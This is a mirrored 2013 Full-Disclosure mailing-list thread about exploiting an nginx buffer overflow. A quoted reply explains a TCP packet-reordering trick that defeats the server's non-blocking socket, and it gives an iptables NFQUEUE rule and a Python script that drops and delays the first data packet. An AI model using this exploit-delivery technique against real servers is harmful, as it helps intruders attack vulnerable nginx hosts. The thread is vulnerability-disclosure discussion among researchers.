Re: [Full-disclosure] nginx exploit documentation, about a gener

看板Bugtraq作者時間12年前 (2013/07/26 17:32), 編輯推噓0(000)
留言0則, 0人參與, 最新討論串2/2 (看更多)
Thanks for the hint about how to solve the issue! Two questions. Is the combination of both the iptables setting and python script a standalo= ne solution along with the exploit code or is it required to send the exploi= t buffers in nfq.py? I assume the first. Does this configuration require anything else? I tested it using a vm inside= windows but I presume it needs a real independent Linux host on the Interne= t right? Greetings, Kcope Am 24.07.2013 um 17:13 schrieb Albert Puigsech Galicia <albert@puigsech.com>= : > Hello everybody, >=20 >=20 >> "Ioctl is needed to set the nginx socket blocking so another call to writ= e(2) will read much more memory than it is possible with the default non-blo= cking connection of nginx." >=20 >=20 > This vulnerability was published recently and it seems that many > exploiters got stuck because the socket will not block because the > buffer is longer than the standard ethernet MTU, some others have > found another attack vector without that problem. >=20 > Let me to explain how we have achieved to overcome the non-blocking > socket impediment without doing so much: >=20 >=20 > When packets arriving at the TCP layer are analyzed and once > determined the sequence are immediately delivered to the upper layer > of the OSI model. >=20 > Let's imagine that you want to overflow a big buffer through the > network. Normally you would execute something like; >=20 > send(sock, "AAAAA=E2=80=A6.A",=E2=80=A6); >=20 > If the size of the data is bigger than the MTU, is then splitted into > multiple packages. The destination processes the information on many > smaller packages instead of one. In summary,the read()/recv() doesn't > get all the data and the overflow is not done. >=20 > And that's what's happening on ngingx. >=20 >=20 >=20 > What we have done to prevent that packets are delivered directly to > the next layer is taking profit of TCP windows and TCP reorder: > sending the first package on the last place. >=20 > What happens is that the TCP stack will not deliver the packets to the > next layer because the information is not complete, and just wait > until all information (up to the size of the tcp window) is received > to deliver it. >=20 > Then the application layer will get all the information in _the same_ > read an the overflow will happen. >=20 >=20 >=20 > Using that TCP trick, the size limitation of the overflow is the TCP > window size instead the MTU. >=20 >=20 >=20 > One easy and **dirty** way to implement this is using iptables and > nfqueue, but there are some better ones: >=20 > # iptables -A OUTPUT -p tcp -d <IP> --destination-port <PORT> -j NFQUEUE > # python nfq.py >=20 > Regards, >=20 >=20 >=20 > =3D=3D=3D/ nfq.py /=3D=3D=3D > import nfqueue > import socket > import time >=20 > data_count =3D 0 > delayed =3D None >=20 > def cb(dummy, payload): > global data_count > global delayed > data =3D payload.get_data() > # DIRTY for first data package (not three-way-handshake) > if len(data) > 60: > data_count +=3D 1 > if (data_count =3D=3D 1): > delayed =3D payload > print data > # Just DROP the packet and the local TCP stack will send it again > because won't get the ACK. > payload.set_verdict(nfqueue.NF_DROP) > else: > data_count =3D 0 >=20 >=20 > q =3D nfqueue.queue() > q.open() > q.bind(socket.AF_INET) > q.set_callback(cb) > q.create_queue(0) > try: > q.try_run() > except KeyboardInterrupt: > print "Exiting..." > q.unbind(socket.AF_INET) > q.close() > =3D=3D=3D/ nfq.py /=3D=3D=3D >=20 > On 23 July 2013 19:49, king cope > <isowarez.isowarez.isowarez@googlemail.com> wrote: >> (see attachment) >>=20 >> /Kingcope >>=20 >> _______________________________________________ >> Full-Disclosure - We believe in it. >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html >> Hosted and sponsored by Secunia - http://secunia.com/ >=20 >=20 >=20 > --=20 > Albert Puigsech Galicia > + Mail: albert@puigsech.com > + Jabber: albert@puigsech.com > + Twitter: @apuigsech > + Web: file:///dev/null
文章代碼(AID): #1Hya8IV0 (Bugtraq)
文章代碼(AID): #1Hya8IV0 (Bugtraq)